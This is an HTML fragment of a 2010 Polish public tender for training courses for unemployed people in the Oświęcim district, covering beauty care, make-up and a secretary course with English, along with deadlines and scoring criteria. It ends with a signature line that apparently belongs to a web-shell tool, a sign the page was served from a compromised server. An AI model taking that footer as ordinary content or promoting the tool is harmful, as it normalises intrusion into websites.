3.	Wykonywanie zabiegu pielęgnacyjnego biustu dostosowanego do potrzeb skóry 3 godz.
4.	Pielęgnowanie piersi w domu 2 godz.
5.	Pielęgnowanie ramion, łokci i kolan w gabinecie kosmetycznym 8 godz.
6.	Określanie i identyfikowanie defektów kosmetycznych, przyczyn ich powstawania oraz sposobów ich redukcji i likwidowania 6 godz.
7.	Istota działania terapeutycznego stymulacji elektrycznej mięśni i tkanek 1 godz.
8.	Organizacja w praktyce zabiegów elektrostymulacji elektrycznej mięśni tkanek w wiodącym salonie kosmetycznym 3 godz.
9.	Wykonywanie zabiegu body wrapping glinkami leczniczymi i aromatami 10 godz.
10.	Wykonywanie zabiegu wyszczuplającego metodą GUAM 8 godz.
11.	Zarządzanie marketingiem usług w gabinecie kosmetycznym - charakterystyka funkcji i metod zarządzania 12 godz.
Wizaż:
1.	Określenie rodzaju cery klientki 4 godz.
2.	Rozpoznawanie defektów kosmetycznych skóry twarzy 4 godz.
3.	Określanie, modelowanie i kamuflowanie kształtów twarzy i defektów skóry 7 godz.
4.	Typy kolorystyczne urody odpowiadające porom roku 2 godz.
5.	Określanie wpływu parametrów jakościowych koloru widzenia barw 8 godz.
6.	Opracowywanie kolorystyki makijażu i ubioru, eksponującej walory urody klientki 4 godz.
7.	Określanie kształtu poszczególnych fragmentów twarzy i sposoby ich korygowania makijażem 10 godz.
8.	Korygowanie kształtu twarzy fryzurą 8 godz.
9.	Określanie wpływu linii, proporcji, kolorów i deseni ubiorem na proporcje sylwetki 4 godz.
10.	Tuszowanie mankamentów sylwetki zbyt szczupłej i tęgiej 8 godz.
11.	Tuszowanie poszczególnych części ciała ubiorem 8 godz.
12.	Dobieranie dodatków do sylwetki i typu urody 4 godz.
13.	Charakterystyka wyrobów perfumeryjnych i dobieranie zapachu do typu urody klientki 4 godz.
Wykonywanie makijażu:
1.	Przygotowanie stanowiska pracy i klientki do wykonywania makijażu, zapoznanie z akcesoriami i kosmetykami 3 godz.
2.	Zapoznanie z kolejnością wykonywania makijażu oraz techniki nakładania kosmetyków 5 godz.
3.	Wykonanie makijażu dziennego 10 godz.
4.	Wykonanie makijażu wieczorowego 14 godz.
5.	Kosmetyki i akcesoria do wykonywania makijażu fantazyjnego i body painting 2 godz.
6.	Projektowanie wzorów plastycznych do body painting i makijażu fantazyjnego 8 godz.
7.	Wykonywanie makijażu fantazyjnego zgodnie ze wzorem plastycznym 10 godz.
8.	Wykonywanie body painting zgodnie ze wzorem plastycznym 8 godz.
9.	Określanie zasad wykonywania makijażu na potrzeby fotografii i pokazu mody, kina oraz teatru 3 godz.
10.	Wykonywanie makijażu na potrzeby sesji zdjęciowych 8 godz.
11.	Wykonywanie makijażu charakteryzacyjnego postarzającego twarz 4 godz.
12.	Wykonywanie makijażu charakteryzacyjnego odmładzającego twarz 4 godz.
Razem: 334 godz.
Każdy z uczestników ma mieć zapewnione własne stanowisko pracy.
Szkolenie należy przeprowadzić na terenie powiatu oświęcimskiego.
Czas trwania: 8 tygodni
Termin realizacji: 01.07.2010r. - 31.08.2010r. I edycja
                                16.08.2010r. - 15.10.2010r. II edycja
Planowane terminy organizacji szkoleń mogą ulec zmianie.
Wykonawca zobowiązany jest po ukończeniu szkolenia do wydania zaświadczenia na podstawie § 6 Rozporządzenia Ministra Edukacji i Nauki z dnia 03.02.2006r. w sprawie uzyskania i uzupełnienia przez osoby dorosłe wiedzy ogólnej, umiejętności i kwalifikacji zawodowych w formach pozaszkolnych (Dz. U.  Nr 31, poz. 216)..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.10.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p>
<ul class="kh_indent_1">
<li>1. Cena - 0.50</li>
<li>2. doświadczenie - 0.30</li>
<li>3. posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 10 <b>NAZWA:</b> Przeprowadzenie szkolenia dla 30 osób bezrobotnych w dwóch edycjach po 15 osób w zakresie Profesjonalna sekretarka + moduł języka angielskiego współfinasowanego przez Unię Europejską w ramach Europejskiego Funduszu Społecznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Funkcjonowanie sekretariatu 16 godz.
-	Czynności sekretarskie: 
wysyłanie i odbieranie faksów, kopiowanie dokumentów, oprawianie dokumentów, wysyłanie i odbieranie poczty elektronicznej 2 godz. teorii, 10godz. praktyki
-	Archiwizacja akt osobowych i ochrona danych osobowych 4 godz. teorii
2. Czynności biurowe 33 godz.:
-	Pisanie raportów, redagowanie pism i listów (praca na komputerze, ćwiczenia) 18 godz. praktyki
-	Tworzenie korespondencji seryjnej 5 godz. praktyki
-	Prowadzenie rejestrów i ewidencji 2 godz. teorii, 8 godz. praktyki
3. Elementy prawa administracyjnego 12 godz.:
-	podstawowe pojęcia 2 godz. teorii
-	źródła prawa administracyjnego 3 godz. teorii 
-	decyzje administracyjne 7 godz. teorii
4. Organizacja pracy na stanowisku sekretarki 29 godz.:
-	Zarządzanie czasem i skuteczna organizacja pracy 6 godz. teorii
-	Umiejętności komunikacyjne (kontakt z klientami) 2 godz. teorii, 8 godz. praktyki
-	Rekrutacja i dobór pracowników, przeprowadzanie rozmów kwalifikacyjnych 2 godz. teorii, 3 godz. praktyki
-	Elementy wizażu 8 godz. praktyki
5. Prowadzenie spotkań i zebrań 6 godz. teorii
6. Kształtowanie pozytywnego wizerunku menadżera 3 godz. teorii  
7. Funkcjonowanie w sytuacjach trudnych i stresowych 5 godz. teorii
8. Przygotowanie prezentacji firmy 30 godz.: 
-	Graficzna prezentacja danych 10 godz. praktyki
-	Tworzenie materiałów reklamowych 5 godz. praktyki
-	Tworzenie stron reklamowych w Internecie 10 godz. praktyki
-	Przygotowanie elektronicznych wizytówek 5 godz. praktyki
9. Prowadzenie kasy zakładowej 4 godz. teorii
10. Ocena i motywowanie pracowników 2 godz. teorii
Razem: 140 godz.         
Moduł języka angielskiego
1.	Podstawowe wiadomości o czasach: Present Simple, Present Continous, Past Simple, Past Continous, Future, Present Perfect, Present Perfect Continous, Past Perfect 8 godz. teorii, 17 godz. Praktyki,
2.	Słownictwo z zakresu obsługi klienta i biura - ćwiczenia praktyczne: rozmowa telefoniczna, prezentacja oferty, pozyskiwanie informacji 3 godz. teorii, 10 godz. praktyki
3.	Pisanie listów i pism oficjalnych 5 godz. praktyki,
4.	Liczba pojedyncza  i mnoga rzeczowników, czasowniki policzalne i niepoliczalne 2 godz. teorii, 5 godz. praktyki,
5.	Dom i otoczenie, życie rodzinne, związki rodzinne, zdrowie - słownictwo i nauka wypowiadania się 4 godz. teorii, 10 godz. praktyki,
6.	Żywienie, zakupy i usługi - słownictwo i nauka wypowiadania się 2 godz. teorii, 8 godz. praktyki,
7.	Świat przyrody i zwierząt - słownictwo i nauka wypowiadania się 1 godz. teorii, 4 godz. praktyki,
8.	Praca i pracownik w przedsiębiorstwie - słownictwo i nauka wypowiadania się 1 godz. teorii, 6 godz. praktyki,
9.	Podróże służbowe - słownictwo i nauka wypowiadania się 1 godz. teorii, 6 godz. praktyki
10.	Komunikacja w biznesie - słownictwo i nauka wypowiadania się 1 godz. teorii, 6 godz. praktyki.
Razem: 100 godz.
Cały kurs ogółem: 240 godz. 
Każdy z uczestników ma mieć zapewnione własne stanowisko komputerowe.
Szkolenie należy przeprowadzić na terenie powiatu oświęcimskiego.
Czas trwania: 7 tygodni
Termin realizacji: 14.06.2010r. - 30.07.2010r. I edycja
                                16.08.2010r. - 30.09.2010r. II edycja
Planowane terminy organizacji szkoleń mogą ulec zmianie.
Wykonawca zobowiązany jest po ukończeniu szkolenia do wydania zaświadczenia na podstawie § 6 Rozporządzenia Ministra Edukacji i Nauki z dnia 03.02.2006r. w sprawie uzyskania i uzupełnienia przez osoby dorosłe wiedzy ogólnej, umiejętności i kwalifikacji zawodowych w formach pozaszkolnych (Dz. U.  Nr 31, poz. 216)..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.10.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p>
<ul class="kh_indent_1">
<li>1. Cena - 0.50</li>
<li>2. doświadczenie - 0.30</li>
<li>3. posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
</li>
</ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com